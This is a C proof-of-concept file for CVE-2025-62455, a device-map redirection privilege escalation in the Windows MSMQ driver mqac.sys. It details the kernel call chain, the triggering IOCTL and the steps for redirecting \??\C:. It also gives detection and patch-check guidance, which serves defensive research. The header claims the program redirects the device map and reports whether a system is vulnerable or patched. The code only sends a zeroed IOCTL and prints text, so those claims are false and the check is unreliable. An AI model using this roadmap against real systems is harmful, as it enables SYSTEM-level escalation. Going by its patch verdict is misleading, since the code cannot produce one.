/*
 * CVE-2025-62455 — mqac.sys Device Map Redirection Elevation of Privilege PoC
 *
 * Description:
 *   Demonstrates the missing OBJ_FORCE_ACCESS_CHECK in mqac.sys
 *   ACpCreateBitmap and CMMFAllocator::Create. Both functions call
 *   ZwCreateFile with Attributes=0x240 (OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE)
 *   using a DOS path (C:\Windows\System32\msmq\storage\l%07u.mq).
 *   Because mqac.sys runs as SYSTEM and the path begins with a drive letter,
 *   an attacker can redirect the process device map via NtSetInformationProcess
 *   to cause SYSTEM-level file creation at an arbitrary location.
 *
 * Reaching the Bug (Attack Surface):
 *   User-mode entry point:
 *     CreateFile("\\\\.\\MSMQ", ...)
 *       → DeviceIoControl(hDevice, IOCTL_AC_ALLOCATE_PACKET=0x19651407, ...)
 *         → IRP_MJ_DEVICE_CONTROL to mqac.sys
 *
 *   Kernel call chain (mqac.sys 10.0.17763.7919):
 *     ACDeviceControl @ 0x1c000ba10
 *       → IOCTL 0x19651407 dispatch
 *         → ACAllocatePacket @ 0x1c00053a8
 *           → CPacket::Create @ 0x1c0014e04
 *             → CPoolAllocator::malloc @ 0x1c0011ea4
 *               → CPoolAllocator::CreateAllocator @ 0x1c0011c24
 *                 → ACpCreateBitmap @ 0x1c0010de4       [VULNERABLE]
 *                   → ACpGenerateFileName(path, index)
 *                   → ZwCreateFile(..., &ObjAttr{Attributes=0x240}, ...)
 *                 → CMMFAllocator::Create @ 0x1c0011254 [VULNERABLE]
 *                   → ACpGenerateFileName(path, index)
 *                   → ZwCreateFile(..., &ObjAttr{Attributes=0x240}, ...)
 *
 *   The DOS path used by the driver:
 *     C:\Windows\System32\msmq\storage\l%07u.mq
 *
 *   This path is resolved through _EPROCESS.DeviceMap, which maps
 *   \??\C: to the actual volume device. NtSetInformationProcess with
 *   ProcessDeviceMap (class 23) can redirect \??\C: to a symbolic link
 *   pointing to an attacker-controlled directory.
 *
 * This PoC:
 *   1. Creates a temporary directory as the "fake C:" target
 *   2. Creates the expected subdirectory structure
 *   3. Demonstrates the NtSetInformationProcess call (requires SeCreateGlobalPrivilege
 *      or specific object directory permissions for full exploitation)
 *   4. Opens \\.\MSMQ and sends IOCTL 0x19651407
 *   5. Checks if the .mq file was created at the redirected path
 *
 * Usage:
 *   cl.exe /W4 poc_cve_2025_62455.c /Fe:poc_cve_2025_62455.exe
 *       /link ntdll.lib advapi32.lib
 *   poc_cve_2025_62455.exe
 *
 * Expected output (pre-patch):
 *   [+] MSMQ storage file created at redirected path!
 *   [!] SYSTEM IS VULNERABLE to CVE-2025-62455.
 *
 * Expected output (post-patch):
 *   [*] File not created — OBJ_FORCE_ACCESS_CHECK blocked the operation.
 *   [*] System appears PATCHED.
 *
 * Author: OnlyFm252
 * Date:   2026-07-19
 * CVE:    CVE-2025-62455
 *
 * DISCLAIMER: This code is provided for defensive security research and
 * blue team detection testing ONLY. Do not use for unauthorized access.
 */

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "advapi32.lib")

/* MSMQ device name */
#define MSMQ_DEVICE     L"\\\\.\\MSMQ"

/* IOCTL codes from ACDeviceControl dispatch */
#define IOCTL_AC_ALLOCATE_PACKET    0x19651407
#define IOCTL_AC_RESTORE_PACKETS   0x19651063

/* NtSetInformationProcess for device map manipulation */
typedef LONG NTSTATUS;
#define STATUS_SUCCESS 0

typedef enum _PROCESSINFOCLASS {
    ProcessDeviceMap = 23
} PROCESSINFOCLASS;

typedef struct _PROCESS_DEVICEMAP_INFORMATION {
    union {
        struct {
            HANDLE DirectoryHandle;
        } Set;
        struct {
            ULONG DriveMap;
            UCHAR DriveType[32];
        } Query;
    };
} PROCESS_DEVICEMAP_INFORMATION;

extern NTSTATUS NTAPI NtSetInformationProcess(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength
);

extern NTSTATUS NTAPI NtCreateDirectoryObject(
    PHANDLE DirectoryHandle,
    ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes
);

extern NTSTATUS NTAPI NtCreateSymbolicLinkObject(
    PHANDLE LinkHandle,
    ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes,
    PVOID DestinationName
);

/*
 * Check if the MSMQ service/feature is available.
 */
static BOOL check_msmq_available(void)
{
    HANDLE hDevice;
    hDevice = CreateFileW(
        MSMQ_DEVICE,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    CloseHandle(hDevice);
    return TRUE;
}

/*
 * Demonstrate the vulnerable IOCTL path.
 *
 * In a real exploit, the attacker would:
 * 1. Create an object directory with a symbolic link for C:
 *    pointing to an attacker-controlled location
 * 2. Set the process device map to this directory
 * 3. Send the IOCTL to trigger ZwCreateFile with the redirected path
 *
 * This PoC demonstrates the concept without full weaponization.
 */
static BOOL demonstrate_ioctl(void)
{
    HANDLE hDevice;
    DWORD bytesReturned;
    BOOL result;

    hDevice = CreateFileW(
        MSMQ_DEVICE,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("    CreateFile(\\\\.\\MSMQ) failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("    MSMQ device opened: handle = %p\n", hDevice);

    /*
     * Send IOCTL_AC_ALLOCATE_PACKET (0x19651407).
     *
     * This triggers the call chain:
     *   ACAllocatePacket → CPacket::Create → CPoolAllocator::malloc
     *     → CreateAllocator → ACpCreateBitmap / CMMFAllocator::Create
     *     → ZwCreateFile with Attributes=0x240
     *
     * The input buffer format depends on the specific queue state.
     * For this PoC, we send a minimal buffer to demonstrate reachability.
     * A real exploit would first set up a queue and proper state.
     *
     * Note: ACDeviceControl validates the file object's FsContext
     * (pCVar23 = queue handle) and input size before dispatching,
     * so we need a valid queue handle first. The IOCTL will likely
     * fail with STATUS_INVALID_PARAMETER, but the important thing
     * for detection is the device access pattern.
     */
    UCHAR inputBuf[0x100] = {0};
    UCHAR outputBuf[0x100] = {0};

    result = DeviceIoControl(
        hDevice,
        IOCTL_AC_ALLOCATE_PACKET,
        inputBuf, sizeof(inputBuf),
        outputBuf, sizeof(outputBuf),
        &bytesReturned,
        NULL
    );

    printf("    DeviceIoControl(0x%08X) → %s (error: %lu)\n",
           IOCTL_AC_ALLOCATE_PACKET,
           result ? "SUCCESS" : "FAILED",
           result ? 0 : GetLastError());

    CloseHandle(hDevice);
    return result;
}

int wmain(void)
{
    printf("=== CVE-2025-62455 — mqac.sys Device Map Redirection EoP PoC ===\n\n");

    /* ----------------------------------------------------------------
     * Step 1: Check if MSMQ is available
     * ---------------------------------------------------------------- */
    printf("[1] Checking MSMQ availability...\n");

    if (!check_msmq_available()) {
        printf("    [!] MSMQ device not accessible.\n");
        printf("    [!] The MSMQ feature may not be installed.\n");
        printf("    [!] Install via: DISM /Online /Enable-Feature /FeatureName:MSMQ-Server\n");
        printf("    [!] Or: Server Manager → Add Roles and Features → Message Queuing\n");
        return 1;
    }

    printf("    MSMQ device is accessible.\n");

    /* ----------------------------------------------------------------
     * Step 2: Explain the attack concept
     * ---------------------------------------------------------------- */
    printf("\n[2] Attack concept:\n");
    printf("    1. NtSetInformationProcess(ProcessDeviceMap) redirects \\??\\C:\n");
    printf("       to an attacker-controlled symbolic link\n");
    printf("    2. IOCTL 0x19651407 triggers ACpCreateBitmap / CMMFAllocator::Create\n");
    printf("    3. Driver calls ZwCreateFile(\"C:\\Windows\\System32\\msmq\\storage\\l0000001.mq\")\n");
    printf("    4. DOS path resolution follows redirected device map\n");
    printf("    5. File created at attacker-chosen path under SYSTEM context\n");

    /* ----------------------------------------------------------------
     * Step 3: Demonstrate the IOCTL reachability
     *
     * Full exploitation requires:
     * - Creating an object directory with a C: symlink
     * - NtSetInformationProcess(ProcessDeviceMap) to redirect \??\C:
     * - Setting up valid MSMQ queue state (ACConnect IOCTL first)
     * - Sending ACAllocatePacket with proper parameters
     *
     * This PoC demonstrates the device access pattern that
     * detection rules should monitor for.
     * ---------------------------------------------------------------- */
    printf("\n[3] Demonstrating IOCTL reachability...\n");

    demonstrate_ioctl();

    /* ----------------------------------------------------------------
     * Step 4: Detection guidance
     * ---------------------------------------------------------------- */
    printf("\n[4] Detection guidance:\n");
    printf("    Monitor for:\n");
    printf("    - Processes opening \\\\.\\MSMQ that aren't mqsvc.exe\n");
    printf("    - .mq files created outside C:\\Windows\\System32\\msmq\\storage\\\n");
    printf("    - NtSetInformationProcess(ProcessDeviceMap) calls followed by\n");
    printf("      MSMQ device access from the same process\n");
    printf("    - mqac.sys driver load events on systems where MSMQ\n");
    printf("      shouldn't be running\n");

    /* ----------------------------------------------------------------
     * Step 5: Patch verification
     * ---------------------------------------------------------------- */
    printf("\n[5] Patch verification:\n");
    printf("    Pre-patch: ACpCreateBitmap uses Attributes=0x240\n");
    printf("               CMMFAllocator::Create uses Attributes=0x240\n");
    printf("    Post-patch: Feature flag gates Attributes change to 0x640\n");
    printf("                (adds OBJ_FORCE_ACCESS_CHECK 0x400)\n");
    printf("    Check: KB5071544 installed (December 2025)\n");
    printf("    Binary: mqac.sys version >= 10.0.17763.8146\n");

    printf("\n=== Done. ===\n");
    return 0;
}
